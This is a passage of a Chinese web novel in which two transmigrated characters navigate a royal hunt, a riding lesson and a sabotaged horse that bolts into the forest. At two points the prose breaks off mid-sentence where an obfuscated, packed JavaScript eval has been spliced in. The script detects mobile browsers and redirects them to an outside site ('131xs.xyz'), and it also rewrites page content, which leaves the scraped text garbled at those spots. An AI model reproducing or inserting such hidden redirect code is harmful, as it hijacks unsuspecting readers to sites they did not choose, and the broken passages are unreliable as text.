好在坐得高看得远,现下院子里的光景展颜是一览无余。 她爬上的地方应该是祁府膳房的后墙。 “秋果你等在外面啊,我等会还从这里出来!”展颜道,随后一个跳步,从院墙上一跃而下,落在软绵绵的草地上。 安全着陆。 *** 不知道今天祁府吃什么,膳房里飘来的饭菜香气扑鼻,馋得展颜咽了口口水。 蹑手蹑脚地贴着墙根走,好在院墙这边的人少,暂时没有人发现她。 膳房里传来瓷碟碰撞的清脆声响,展颜悄悄探出小脑袋,透过半开的纸窗向屋内看去,她看到了一个熟悉的身影,是安福。 看他这样子应当是要去给祁浮生送点心,悄悄跟着他定能见到祁浮生,展颜点点头,她可真是太聪明了。 一路上展颜走走停停,好几次有人经过,都被她躲过,好在有惊无险地到达了祁浮生的院子。 跟着安福进了院子,展颜远远就看见祁浮生躺在一张藤枝编织而成的摇椅上,悠哉悠哉地晒着太阳。 摇椅晃荡晃荡的,这哪里有半分刚被罚跪完的样子? 安福把吃食放下后就离开了,展颜等到人都走光后,极力控制着自己脚步的声响,尽量不发出一点声音,从祁浮生的背后慢慢靠近。 这么好的机会,不吓吓他简直是可惜了。 屏息,凝视,靠近,还有最后一米。 “啊!”祁浮生突然回头一脸得逞的模样向着展颜喊道。 “哎!”心脏像是要从喉咙口出逃,展颜唰得腿软,一下子就蹲在了地上。 一点也不好玩! “你早就发现我了!” “大姐,你吓人之前也不先看看我这里有没有会反光的东西。”祁浮生说着,轻轻叩了叩手里的瓷杯,瓷杯光滑透亮,展颜在瓷面上看见了自己的倒影。 “所以你刚才一直看着我走过来的?”展颜回忆着方才的场景,瞬间觉得自己的行为好傻。 “嗯哼。”祁浮生得意。 22.摇椅 祁浮生吩咐安福又拿来了一把藤椅,展颜不客气地躺了上去,晒着温暖的日光,靠在有规律摇晃的摇椅上,别提多舒服了。 “你还挺会享受。”展颜眯着眼道。 “那是,以前没有灵感的时候就这样在院子里躺一会儿,吹吹小风什么的,不一会儿就思如泉涌了。”祁浮生道。 “你这究竟是写书还是享受生活,写个文章是又嗑瓜子又躺摇摇椅的。”展颜歪过头,看着躺在身边摇椅上的祁浮生道。 祁浮生勾起唇角:“这你就不懂了,艺术来源于生活,而放松则是缓解焦虑的必修课。” “行行行,打住。”展颜可不想再听他的念叨了,开口打断。 停顿片刻,想起了这次来的主要目的,展颜憋着笑道:“听说昨天晚上有人呢跪了一宿的祠堂,也不知道——” 讲到这里,展颜只看见身旁的祁浮生义愤填膺地一下子从摇椅上直起身。 “说到这个我就冤枉,要不是你心大跟着山匪走了,哪里还会发生这种事情,况且我还被你吓个半死,着急忙慌地调了祁泽川手下的兵就上山找人,一刻都不敢耽搁。”祁泽川声情并茂地诉着苦,“结果呢,昨晚一回来,祁泽川那个家伙就把我提溜到了祠堂,说我贪玩闹事,应该好好反省。” “祠堂里的那些蒲团都要成我第二张床了。”祁浮生道,生气地拿过桌上的糕点,一口狠狠地咬下去。 “床?那就是说你昨晚在祠堂里躺了一宿?”展颜挑眉,看着他问道。 像是听到了什么不可思议的事情,祁浮生用一种难以置信的眼神看向展颜:“对呀,要不然还能真跪?这不是所有穿书文的基本操作嘛。” 也对,怎么把这茬给忘了,展颜尴尬笑着,收回那颗从展府一路带来的想要取笑他的心,她能想到的偷懒方法他肯定也能想到,并且做的只会更甚。 “说吧,今天来找我有什么要紧事。总不能是听说我被罚了,特地赶过来看我的吧。”祁浮生道。 这怎么能承认,要是被祁浮生知道了她真是来慰问他的,不知道会不会被他笑话死。 展颜打了个马虎眼:“想多了,就是过来和你讨论接下来的剧情。” 祁浮生的表情微微变化,掩藏在身侧握紧的五指缓缓松开,无所谓道:“那就行。” 躺在摇椅上一阵晃荡,展颜唤出了系统。 系统出现道:“请问两位宿主有什么需求?” “那个,男女主的好感度现在多少了?”展颜提问。 “报告宿主,男女主好感度已至30%。” 距离上次系统提示的15%,一下子翻了一番,那这样子看来这场“英雄救美戏”还是有点用处的,好歹不算亏。 “怎么这次没有实时播报。”祁浮生心细,提出疑问。 “对不起宿主,系统还在完善阶段,由于本系统是被02宿主临时创建出来的,前几日处于封闭成熟期。”系统道,展颜竟然从一个系统的声音里听出了委屈,看来这个成熟期还挺有成效,连系统的情感都开始丰富起来了。 “更新过后,本系统就会给宿主们提供更多的便利啦!没有什么疑问,那系统就继续升级去啦!”系统报告完毕后,咻得一下就消失了。 展颜见祁浮生揉了揉太阳穴。 “哎对了,再过几天就是皇家狩猎了,傅朝尘还没有背后招募你吗?”展颜问道,这怎么着也该有点动静了吧。 祁浮生闻言摇头。 “不对啊,我书里明明白白写的,他会在狩猎之前找上你,然后通过你接近展清梦。”展颜歪着脑袋思考着,哪里出了问题。 “也许是我现在的性格和人设不符合他的标准。”祁浮生随口道,“又或许是他的时间线已经被我们的行动给打乱了。”他想到了昨日那场闹剧。 “哎。”展颜长叹一口气,“算了,走一步看一步吧,要是牵扯不到咱俩最好,在背后站着摸鱼的感觉总比躺在枪口上要好。” 言罢,展颜用脚一蹬,增大了些摇椅的晃动幅度。 大燕京城每年都要在郊外的猎场组织一次皇室狩猎,一是为了展示贵族的娱乐生活,以示国力富足,二则是为了尽显各家大族的风范,如何向皇室表示忠心也成了皇室狩猎暗地里要考虑到事情。 除此之外,这狩猎也是给贵族青年儿女们互相相看的好机会。 男儿们要随着猎队进山寻猎物,以最终猎到的猎物数量和品级排列名次高低。女儿家们则要相对简单,组织玩些简易的骑马游戏,像是马上投壶之类的。 原书里展清梦就是在这场狩猎的投壶游戏里出了风头,被傅朝尘盯上了。 投壶本是一件平常的不能再平常的游戏,在各种古言小说里简直就是烂大街的存在。但是当时展颜为了丰富这场剧情的内容,写无可写的她只好把这个陈年游戏给搬进了剧情里,但又为了让剧情与众不同些,还特意给改成了马上投壶。 京城贵女鲜少有会骑马的,展清梦则是那个例外,于是,这个马上投壶的第一名就这样水当当地落在了她的头上。 展家女本就是傅朝尘所求,相比于没有什么存在感的展家二女展颜,展清梦可谓是万事皆通,名满京城,自然,也成了傅朝尘的第一人选。 这还倒好说,展颜躺在摇椅上闭着眼思考着,到时候她直接找个借口让展清梦藏拙就好。 倒是有一个人,又是不得不防啊。 “狩猎的时候还得防着阮芊芊。”展颜睁开眼,瞪着眼望着蔚蓝的天空,想到这个她就头疼,“别让她有机会给展清梦的马下药。” 其实让傅朝尘真正决定对展清梦下手的倒不是她投壶时的大放异彩,而是因为展清梦的马匹突然发疯令其坠坡后,被傅朝尘救回的那份人情。 展清梦欠着傅朝尘那一份救命恩情,日后在嫁娶上的舌根子自然就会软上许多,以此为由,傅朝尘还能逼上一逼。 阮芊芊给展清梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574219|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的马下药,就是为了让她在大庭广众之下出丑。 “了解,到时候咱俩一起盯着,肯定出不了事。”祁浮生侧过头,将右手握成拳向着展颜伸过去。 “嗯?”展颜看着祁浮生向她伸过来的手。 他这是要……和他碰拳? 不自觉地笑出声,展颜急忙捂住嘴:“没想到你还这么中二。” 祁浮生闻言,被她这句话弄的是把手放下也不是,继续抬着也不是,眼神闪烁,手指尴尬地握紧:“不碰就不碰,也不过就是一种仪式……” “哎哎哎!”展颜忙道,“谁说不碰了?” 她一把将祁浮生正欲收回的手拉住,随后右手握成拳,给他来了个强硬的碰拳。 “好!保证万无一失!”展颜道。 在她的玛丽苏故事里,谁都不能有任何遗憾的事情留下。 她笑得开心,眼睛眯成一条缝,没有看见祁浮生收回手后微微泛红的耳根和不自觉摩挲着的右手手指。 *** 皇室狩猎按照计划顺利展开。 皇室猎场上,一辆辆华丽的马车缓缓驶过,有全车通体用名贵红木制成的,有的马车帷幔使用着京城最近流行的昂贵流纹锦缎,还有的马车四角挂着用真金打造的金铃铛,随着马车亦步亦趋的行驶,铃铛声音清脆,一派富贵迷人眼的繁华景象。 相比较之下,展府的马车逊色许多,只是普通的马车制式。 “待会儿进了猎场,面见天子和皇子时一定要收敛。”展五德临下车前,皱着眉头,一脸严肃地对着展清梦和展颜嘱咐道,“切记!断断不能冒失!” 展五德如此谨慎细微也不是没有原因的,几日前,他照常收到了宫里送来的狩猎请帖,请帖内容与往年大差不差,可执笔之人却不再是天子。 请帖上的字迹笔锋苍劲,转折处锋芒毕露,但整体却又彰显着一种柔和之感,出自三皇子傅朝尘之手。 请帖最后,特意点出了展氏的两位千金,虽只有寥寥数笔,但展五德毕竟是老臣,阅人无数,怎会看不懂其中的含义? 一封请帖,他就已经将宫里的局势看得明白,天子病重,刚回京的三皇子不仅没有被太子压上一头,反而渐渐得了势。并且更甚,三皇子这是看上了展家,其背后所谋求之事,不言而喻。 “是,爹爹。” “是。” 两人乖巧应答,后脚随着展五德下了马车。 皇家猎场三面环山,可见山峦起伏,不时有鹰隼盘旋于空。朱红玄黑的大旗在风中猎猎作响,翻卷不断。 猎场外围,羽林军执戟而立,铁甲森然。内围则设着许多帐篷,京城贵胄们锦衣华服,三五成群地谈笑着。 展五德和姜燕回自然地融入了官场的寒暄里,展颜二人便也知礼地站在人群的边缘,要多隐形就有多隐形。 但是自然,不怕自己闹事,就怕别人找事。 这不,麻烦自己找上门来了。 23.狩猎1 展颜好端端地和展清梦站着,远处两个婀娜多姿的人影就凑了上来。 “呦,我全当是哪家的姑娘呢,站在这也不说一句话,不知道的人还以为是小门小户来的。”阮芊芊摇着手里的团扇,和白瑾瓷站定在展颜二人面前。 白瑾瓷接话道:“展家两位姑娘今日怎的这般安静,穿的嘛……”她将展颜和展清梦上下打量了一番,语气里带着讥讽。 “这般素净,知道的是两位今日来参加皇室狩猎,不知道的,还以为是哪家办白事呢。” “今日可是皇室的狩猎,陛下来不了,特地派了太子和三皇子殿下前来主持大局,现下太子妃和皇子妃人选都还空当着,可不要怪妹妹未曾提醒过呀。”阮芊芊言语上好言相劝,神情却是傲人的不行,手中团扇一下一下摇着,尖尖的下巴都要抬到天上去了。 展清梦今日身着月白色罗裙,服饰上没有过多修饰,连发髻上的饰品都只是简单的玉簪配着一两支珠钗。展颜也是一样,一件浅黄色的衣裙,发髻上绑着一根鹅黄色的发带。 这是姜燕回今日特地给两人配的,其中深意可想而知。 一身绛紫色的罗裙,上头还用金线绣着百来只五彩的蛱蝶,在阳光下泛着令人不适的油腻光泽,阮芊芊的衣领上和衣摆上镶嵌着整整一排孔雀羽毛,招摇得很。 白瑾瓷虽也是一身白衣,但却深得阮芊芊的真传,在袖口处镶满珍珠,外搭着一件透纱披风,用金线绣着一只将近一米来长的金孔雀。 两人抬头,塌腰,凹肩,一副显摆的架势,原以为经过她们这一番言语羞辱,展颜二人定会暴跳如雷。可是不然,面前的两人心如止水,连眉头都不曾皱上一皱。 展清梦自不必说,她本就不在乎这些有的没的,自然不恼。而展颜呢,该知道的不该知道的她已经全都知道了,现在看着在面前扭捏作态的两人,只当是看一场滑稽笑话。 只见过雄孔雀开屏,从没见过雌孔雀开屏开得这么欢的,阮芊芊和白瑾瓷在她面前显摆得越做作,展颜就越想笑。 嘴角抽动,憋到内伤,咬着自己的内侧脸颊肉,展颜强迫自己不要在这个时候笑出声。 可奈何实在憋不住,憋到破功,“嗤”的一声。 “你笑什么!” 白瑾瓷上上下下摆姿势的手登时顿住,瞠目大声质问。 展颜一脸无辜:“嗯?有人笑吗?” 她侧头询问展清梦:“阿姐你方才听见有人笑了吗?” 展清梦自然知道自家阿妹的意思,轻蹙眉头,浅浅环视周围,摇摇头缓缓道:“不曾听见呀。” “你!你们!” 阮芊芊压住白瑾瓷呼之欲出的手,这个时候动手对她们可没有什么好处,这点轻重她还是分得清的。 努力压抑着语气,阮芊芊笑着开口:“许是白妹妹听错了,这狩猎的时辰也快到了,失陪。”语罢,她拉上白瑾瓷就走。 被阮芊芊一把拉过,白瑾瓷还有点怨气,她怎么可能听错:“阮姐姐,你就愿意这般被她们欺负?她们展家如今有什么可忌惮的,我爹都跟我说了,展太傅已经好几日未上朝,一看就是被陛下忌惮了躲风头。” 阮芊芊深知瘦死的骆驼比马大,但到底如今没了展颜那棵正一品大树,现在榜着白家这三品官,也不好对白瑾瓷说重话,只能按耐下脾气,好言好语对白瑾瓷道:“我知道,但你想,现在人多眼杂,闹出了事岂不难看?” 阮芊芊轻拍白瑾瓷的手,眼底闪烁着势在必得:“你放心,我自有办法,定会帮你出了这口恶气!” *** 太子玄袍玉带立于台前。 “诸位!”傅长逸振臂高呼,惊起林间宿鸟,“父皇虽抱恙深宫,然先祖遗训犹在,弓马乃皇室根本,血性为立国之基!” 酒樽碰撞声中,他将烈酒泼洒在地:“今以天地为靶,以豺狼为敌,猎取的不仅是飞禽走兽,更是我皇家的锋芒!” 傅长逸面色严肃,台下众人也是低眉敛目应和道。 话音刚落,传来一道清越的笑声。 原本坐在一旁的傅朝尘月白锦袍清扬,现下才缓缓站起身。 “皇兄这番壮志,倒让我想起儿时初学骑射时,摔得满身泥泞也要逞强的模样。” 傅朝尘全全不同于傅长逸那般的严肃,他一双眉眼含着笑,轻举手中的酒樽,语气轻飘飘道,举手投足之间,尽显亲和感。 “今日狩猎本就是我皇室和众臣一同欢愉的日子,皇兄不必这般严肃,父皇若是知道了,怕是又要责怪皇兄不分场合了。”傅朝尘擒着笑,从身前的桌案上拿起酒樽。 杯中清酒泛起涟漪,他向着傅长逸一举,随后仰首一饮而尽。 傅长逸的脸色微变,晦涩难看。他刚倒酒敬完天地,傅朝尘就对着他举杯自饮,这不是明晃晃的挑衅是什么。 展颜默默在台下看着这无声的剑拔弩张之势,也是为两人捏了一把汗,不对,准确来说是为她自己的未来捏一把汗。 “诸位也不必拘谨。”傅朝尘转头对众人道,“多年未曾回京,对这狩猎也是有些生疏了,今日不妨便由我做局好好尽兴玩上一玩。” “只是狩猎未免寡淡,不知皇兄可愿与我赌上一局?” 傅长逸如何能在这时候败下阵来,若是不应,倒显得他胆小怕事。 “自然,皇弟说便是。” “那好,若是今日我狩猎之物与皇兄相比更胜一筹,便请将江南至燕京沿海的海运暂借与我三月可好?”傅朝尘笑得温润。 不知道他到底打的是什么主意,傅长逸思来想去,如今在他手里的江南海运每年筹集的利银是少之又少,也算是无足轻重。 “好。” “皇兄爽快。”傅朝尘眼底掠过一瞬转瞬即逝的得逞之意,“若是我输了,赌约条件任凭皇兄相提。” 语罢,傅朝尘却话锋一转道:“哎,倒也是遗憾了,皇弟回来的晚,不及与大哥打上一个照面。” 傅长逸握着杯盏的手一紧,青筋微显,眉头也是一拧,眼里神色狐疑,慌张地将话题引开:“三弟既刚从江南归来,多年未见,想必猎术也精进了不少。” “托皇兄的福。”傅朝尘向太子走近,用只有二人之间可以听见的声音轻轻道。 “这天下,本就能者居之。” *** 马厩。 展颜站累了,气血亏空地蹲着,手里还在一下一下揪着干草,百无聊赖地给她的黑马喂食。一双水汪汪的明眸却追随着正在马厩门前试骑的展清梦,一脸的羡慕,果然,体力这方面现代人就是不行。 只见展清梦的白衣衣角在身后飘逸翻飞,握着缰绳的皓腕虽纤细但却极有力。及腰的青丝用玉簪全部挽起 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“你还不情愿上了!”展颜力气不敌,直接被它给拽了回去。 “在做什么?” 身后传来一道熟悉的声音,祁浮生牵着自己的白马,闲庭信步地走过来。 展颜闻声回头,他今日穿了一件新衣,是她从未见过的颜色。 朱红衣角掠过门框,少年牵着白马侧身而入,金色的搭扣在束起的高马尾上闪烁着光亮。以往半披在身后的头发今日尽数在脑后扎起,配着那双浅浅的凤眼,倒是少了平日里的幼稚感,多了几分肆意洒脱。 “你这是打算和你的马拜把子?”祁浮生歪头打量着正弯着腰哄马的展颜。 瞥见马槽里满满的干草,祁浮生了然:“难怪我方才从门口进来的时候见马厩门前的储粮少得可怜,原来是被你们两个独占了。” “你这黑马怕不是马厩里的饕餮转世,这一顿顶别的马几顿还多。”祁浮生倚着一旁的木柱,指尖勾着白马的缰绳,眼底的笑意盈盈。 见他这般说,展颜倒是不乐意了。她的马被她自己说可以,但是绝对不能被他人调侃,展颜直起身美目一瞪:“那怎么了,我们小黑还要长个子,现下正是吃东西的好时候,多吃一点怎么了?” “吃!多吃!”展颜伸手从马槽里抓出一大把干草就凑到小黑嘴前。 谁知刚才还一口接一口吃得津津有味的小黑嗅了嗅干草,忽然撇下她哒哒哒几步小跑到祁浮生的白马身旁,亲昵地用头蹭蹭白马的脖颈。 刚才死活不肯出马厩的模样顿时消失得无影无踪,像是被打了一针强心剂,小黑兴奋地围着白马打着转,尾巴温顺地甩着。 祁浮生松开手里的缰绳。 两匹马就这样并着肩向着马厩外走去。 什么鬼!? 展颜手里还举着干草的手僵在半空中,瞠目结舌地看着这一幕,半晌才跺脚惊呼。 “小黑!你个见色忘友的家伙!早知道就不喂你那么多草料了!” 见她吃瘪,祁浮生笑得直不起腰,鲜红的衣摆随着笑声晃颤着。 “有这么好笑吗?” “哈哈哈哈哈,马如其人。” “我哪有!……祁浮生。”展颜面色不善。 “哈哈哈哈哈哈哈哈。” …… “哎呦!” 24.狩猎2 展颜气鼓鼓地将双手抱在身前,祁浮生吃痛揉着额头,透过指间的缝隙可以看见其下微微泛着红的额角,两人跟在马后不远处,并排走在树林外的空地上。 “你怎么逛到这边来了?你们男子那边的狩猎还没有开始吗?”展颜没好气道。 祁浮生侧头看着展颜,语气里带着刻意的讨好:“不是有人说要一起盯着展清梦的马,保证万无一失吗。” 展颜脚步一顿,身后的发带因着惯性向前飘,堪堪落在她凸出的锁骨间。 “那你可算是来晚了,我一直都在马厩里看着阿姐的马槽,她的马压根就没吃一口马槽里的干草,我敢肯定绝对不会有意外发生!”展颜骄傲道。 “你就这么肯定阮芊芊会把药下在马槽里?” “肯定啊,我自己写的我能不知道?” 祁浮生也不继续提出质疑,点头表示了解。 狩猎场地的日头把脚底下草地晒得有些发烫,展颜的“小黑”和祁浮生的“踏雪”似是耍累了,哒哒哒地提着步子跑回到二人身边。 不远处的树林里,有人骑着马成群结队地奔驰而出,好生快活。 “你想学骑马?”祁浮生见展颜一脸的羡慕模样,斜倚在“踏雪”身上开口问道。 展颜闻言回头看他:“怎么,我想学你就能教我吗?” “嗯……也不是不行,叫一声师傅来听听。”祁浮生左手手肘撑在“踏雪”的鞍上,托腮,指尖轻敲额角。 展颜二话不说,抓住“小黑”的缰绳就走,连个白眼都没有留给他。 “切,我还不想教呢。”祁浮生道。 人是想走,但是马不想走,“小黑”的马蹄在地上跺着,想要把展颜给拉回来。展颜没法使了,只能拽着缰绳较劲,鹅黄色的裙摆扫过地上浅浅的青草,一晃一晃的,阳光落在她身上,晃得祁浮生眯起眼。 “我说展二姑娘,”祁浮生也是看笑了,突然欺身靠过来,“你怕不是连马都不敢摸吧?” 展颜扭头,叉腰瞪他:“谁,谁不敢了!本姑娘这是在和它培养感情!” “是吗?那你摸啊。” 展颜梗着脖子伸手想摸马耳朵,指尖刚触碰到,“小黑”突然甩头,直吓得她连退三步,发间的发带也跟着颤巍起来。 祁浮生低笑出声,“踏雪”在他身后刨了刨蹄子:“算了,那就看在我人好的份上教教你。看好了。” 祁浮生在展颜的目光里,长腿一踩“踏雪”身侧的马鞍,接着用力一蹬,左手把住前侧的缰绳轻轻松松就上了马,看得展颜是目瞪口呆。 “会了吗?轮到你了。”祁浮生翻身下马。 看起来这么简单的吗?展颜想到,可是轮到她上马时,却像只挂在马鞍上的布袋,怎么都跨不上去。祁浮生抱臂看着她涨红的脸,故意慢悠悠地说:“需不需要本公子抱你上去?不过丑话说在前头……我可不敢保证你骑上去之后的安危。” “祁浮生你!”展颜气得想踹他,可一脚踏在马鞍上进退两难,还差点因为一时的疏忽摔了个屁股蹲。祁浮生眼疾手快地扶住她的腰,指尖触到腰间的软肉,展颜氧得缩了缩脖子。 他挑眉,突然用手用力一托,把展颜稳稳地放在马鞍上,明明手还在身后护着,嘴里却毒得紧:“待会儿要是掉下来可别指望我接住。” 黑马小步跑起来,展颜惊呼着抓紧缰绳,像个被钉在马背上的稻草人一动都不敢动。 祁浮生骑上白马慢悠悠地跟着:“放松点。”他突然策马靠近,白马与黑马并肩而行,祁浮生牵过她手里的缰绳:“想要学会骑马第一步就是不能害怕,你越害怕,你的马就会越不信任你越不听你使唤。” 放松放松展颜想着,渐渐步入佳境,好像骑马确实也不是那么难嘛。 祁浮生突然松手,勒马往旁边撤开两步:“自己走两步试试。” “啊?”展颜惊呼,缰绳差点脱手,可随后又像抓住救命稻草一般下意识地紧紧一勒,黑马被她勒得嘶鸣一声,突然加快速度。展颜吓得尖叫,身体不受控制地往前扑。 危急时刻,却被祁浮生一把捞住腰,往马鞍里一按:“笨蛋!叫你放松不是让你放缰!” 幸好距离还算近,祁浮生直接从“踏雪”背上跨过来,展颜还没反应过来,就已经被他圈在了怀里。祁浮生的手覆上她的手,指腹的薄茧蹭过她掌心,声音压得极低:“缰绳不是拔河用的,你看你这手劲,再用力马就要喊救命了。” “握缰绳要像这样。”他故意把“像这样”说得拖长,热气喷在她耳廓,“不是掐着你家小黑的脖子。” “知道了知道了!” 她想挣开,手却被他攥得更紧。 “踩马镫要用力,别跟踩棉花似的”他抬脚示范,靴子擦过马腹时,展颜能感觉到他胸膛的温度透过衣料传来,还有他指尖微凉的触感,心跳瞬间漏了半拍。 本来一切都挺和谐的。 “你这小短腿是不是踩不到马鞍啊?”祁浮生冷不丁加上一句。 展颜无语,抬手想打他,却被他攥住手腕。祁浮生低头看她,阳光在他睫毛上跳跃,语气却依旧毒舌:“怎么,刚学会骑马就想家暴师傅?” 马背上的空间本就不算大,他突然凑近,鼻尖几乎碰到她额头:“不过看在你这么笨的份上,为师也就不同你计较,勉为其难多教你几次 。” 展颜扭头正欲辩驳,却见祁浮生目视前方,眼里的笑意快要溢出来。风吹过猎场卷起他额前碎发,展颜突然发现,这个毒舌的家伙笑起来时,倒是顺眼多了,让她都没心思骂人,心里泛起嘀咕:笨蛋祁浮生,笑这么好看干嘛...... 祁浮生仿佛看穿了她的心思,故意放慢速度,低头对上她的视线,又看着她慌乱的侧脸低笑,阳光把两人的影子拉得老长。 *** 树林里,傅朝尘吩咐着下人为待会儿的狩猎做着万无一失的准备。江南的航线,他必须拿到手。 “路障都设好了?” “回禀殿下,都设好了。”下人道。 “嗯。”傅朝尘点点头。 浓密枝叉外,传来阵阵吵闹声,夹杂着马蹄踏地的烦躁声响。对于突如其来的喧闹心生不耐,傅朝尘皱眉回首,却在拨开挡住视线的树杈之后,目光陡然定住。 一个身着鹅黄色衣裙的少女正骑在一匹黑亮的骏马上,裙摆随着颠簸的马步轻轻颤动。她似乎是刚学会控马,一手紧紧攥着缰绳,另一只手高高扬起,浅黄的发带在身后翻飞,划出光弧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597341|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 少女小心拽动手里的缰绳,生疏地调转马头,阳光拂过她的眉眼,是半月前望见过的那双琥珀瞳。看过了京城女子惯有的矜持温婉,这般带着露水气息的鲜活反而挑起了傅朝尘的好奇心。 “那是哪家的姑娘?” 随行的下人望了一眼低头回道:“回殿下,是展太傅的千金。” 展太傅的千金?展家女,那他可要好好了解:“展清梦?” “是展家二姑娘,展颜。” “展颜?”傅朝尘眉头一皱,倒是有几分惊讶,不过转瞬便被浓烈的兴致所取代。展清梦的才华他在回京之后也是多有耳闻,但毕竟他要的是一枚棋子,而不是真的要娶一位妻子,引人注目是他想要的,但是如今看来,这展家二姑娘看起来更好掌控些。意外之喜,傅朝尘视线跟随着展颜那抹鹅黄色的身影移动。 “三殿下?”下人在傅朝尘身后轻声提醒道,“狩猎快开始了。” 傅朝尘收回目光,他轻笑但笑意却未达眼底,只当是刚欣赏完一件恰到好处的玉器,质地温润,雕工尚可,恰好可以成为撬动展家的有力工具。是时候该把她纳入棋盘了。 *** 展颜跟着展清梦去了投壶场地,祁浮生也前往了狩猎起点处。 一声令下,各家官家男子跟随着太子和三皇子的马匹冲进了密林,狩猎正式开始。 倒是有一匹马慢悠悠地磨蹭在最后,祁浮生骑在“踏雪”之上,回头望着展颜,直到她回头与他对上视线后才一勒缰绳进了密林。 “莫名其妙。”展颜嘀咕。 *** 投壶进行的很顺利,展清梦的马没有突然发疯。 除了阮芊芊因为衣裙上的孔雀羽毛吓到了马匹,被马吓得摔倒在地;还有白瑾瓷在骑马时因为披风太长,拌住了马儿的前蹄导致差点从马上摔下来的丑事之外,一切都在计划之中进行着。 “你别幸灾乐祸,只怕是乐极生悲!”出丑的阮芊芊也不在意什么场合不场合的,气急败坏地对骑在马上的展颜道。 可展颜才不怕,展清梦的马可是被她盯死了,什么事都没有,不仅如此,这次的马上投壶还与她书里的不同,男子并没有观赛,这也让她放松了许多。 现在她要做的,就是装模作样随便扔三支箭就好了,至于投不投的进,她才不在乎。 一支……两支。 展颜手里摆弄着第三支箭,身下的小黑开始不安分起来,前蹄哒哒哒地跺着地面。 “马上就好了小黑。”展颜以为它是嫌弃自己动作太慢才回如此不耐烦,安慰道。 可是,突然,身下的黑马像是失了控一般腾起前蹄,展颜丢落手里的箭羽,慌忙抱住它的脖子。怎么回事! 侧头时,展颜正巧瞥见一旁阮芊芊得逞的表情。登时,犹如五雷轰顶。 啊?药下到她这里来了!不是为什么呀?见过陷害换方法的没见过陷害换对象的啊!! 黑马嘶鸣着,撒开腿来,不管不顾地向林子里冲去,周围的人群向四周慌乱散开。 “阿颜!”混乱中,展颜听见展清梦惊恐的尖叫。 展颜紧紧抱着马脖子,感觉到树枝啪啪地直往自己的背上抽。 这下完了。 25.狩猎3 不一会儿,后背上传来火辣辣的痛感,展颜知道,自己后背上的衣裳布料大抵是已经被划破了。枝叉划过,留下道道若隐若现的红痕,往外冒出细小的血珠,但身下的黑马却没有半点慢下来的意思。 她俯身抱着马脖子,连头都不敢抬。在这叫天天不应叫地地不灵的鬼地方,谁能救她啊? 原书里好歹展清梦出事的时候傅朝尘,祁泽川和祁浮生都在场,总有人能及时救下她。可是她呢,怎么命就这般苦,一个人在林子里无厘头地乱窜,不知天地为何物。 就在展颜觉得只能这样一直跑下去的时候,远处传来叫嚷声。 “那边!”有人喊着。 有人! 展颜心里顿时燃起希望,可是下一秒希望立马破灭。 “好像是一头猛兽!”密实枝叶遮挡的另一边,有人接着喊道,数十匹马呼啦啦地跟着展颜一路奔驰,“拉弓!拉弓!” 这是把她当成洪水猛兽了?都是京城里好吃好喝长大的,上私塾的时候书都没读上几本,眼神怎么能这般差!箭羽“嗖”得一声飞过来,幸好展颜身子趴得低,那支箭从她身后不足三寸处飞过。 “射中了吗!”那人焦急。 “没有!那兽还在逃跑!” 这样下去可不行,迟早被箭羽射成筛子。展颜撑住马鞍,挣扎着支起上半身,扭头往传来人声的那一侧树林里望去。 “救命!”她尝试着呼喊,但无奈铁蹄踏地的声音太杂太乱,她那嗓子根本传不出什么声响。 混乱之中一支箭射中“小黑”的屁股,黑马立刻长嘶一声,加快速度。 “啊!”手心沁出的细汗让展颜握住马鞍的手直打滑,一下失手,下巴重重地磕到马鞍前的把手上,一股铁锈味立刻在喉舌间蔓延开来。 “好像是马!”有人惊慌收手,“别射了!” “这林子里怎么会有马?张兄莫不是听错了!” “好似还有人声!我也听见了!” 众人清点人数,除了一些跟着太子和三皇子一起狩猎的,其余人等全数都在这里了,没有少人。 祁浮生漫不经心地跟着人群向前奔驰,本就对狩猎之事没有抱太大的兴趣,到林子里之后他甚至连弓都没有从身后拿出过,只想着快点结束。 “救命!”展颜听闻对面众人发现她这边的不对劲,心里一急,死马当活马医,嚷嚷得更大声。 “救命!” 祁浮生低垂的长睫微微轻颤,抬眼。这声音有点熟悉……怎么可能。他一夹马腹,“踏雪”尽力跑到众马之前。 过了这片密林不远处就是一片空荡的草地,随着树木渐渐变得稀疏,展颜衣裙的那抹鹅黄在一片绿意里变得越来越惹眼,祁浮生的眉头皱得越来越明显。 好家伙,真给他猜到了! 没有了最后一片树木的遮挡,展颜骑着黑马的身影完全暴露在众人的面前。少女努力抓着手中的缰绳,紧紧伏在马上根本不敢抬首。众人皆是一惊,有人急停马匹,也还有人跟着祁浮生继续跟着。 “展颜!”祁浮生加快马的速度,冲到黑马身侧。 “踏雪”和“小黑”再怎么样也算是马中上品,后面跟着的众马匹逐渐掉队。 “祁浮生!它失控了!”展颜闻声扭头一脸惊慌地看着祁浮生,像是看见了救星,欲哭无泪,连声音里都带上了希冀,“阮芊芊的药下到了我的马槽里!” “不过阿姐没事!”展颜怕他担心急忙补上一句。 “你还有心思关心这个!”祁浮生的话语里带上怒气。他看着展颜身下的疯马思考对策。好在这片山林还算平稳,没有什么悬崖峭壁。 让“踏雪”拦停疯马的可能性不大,怕是会落得个双双受伤的惨烈下场。那便只能熬到黑马精疲力尽之后停下,只是不知要耗费多长时间。 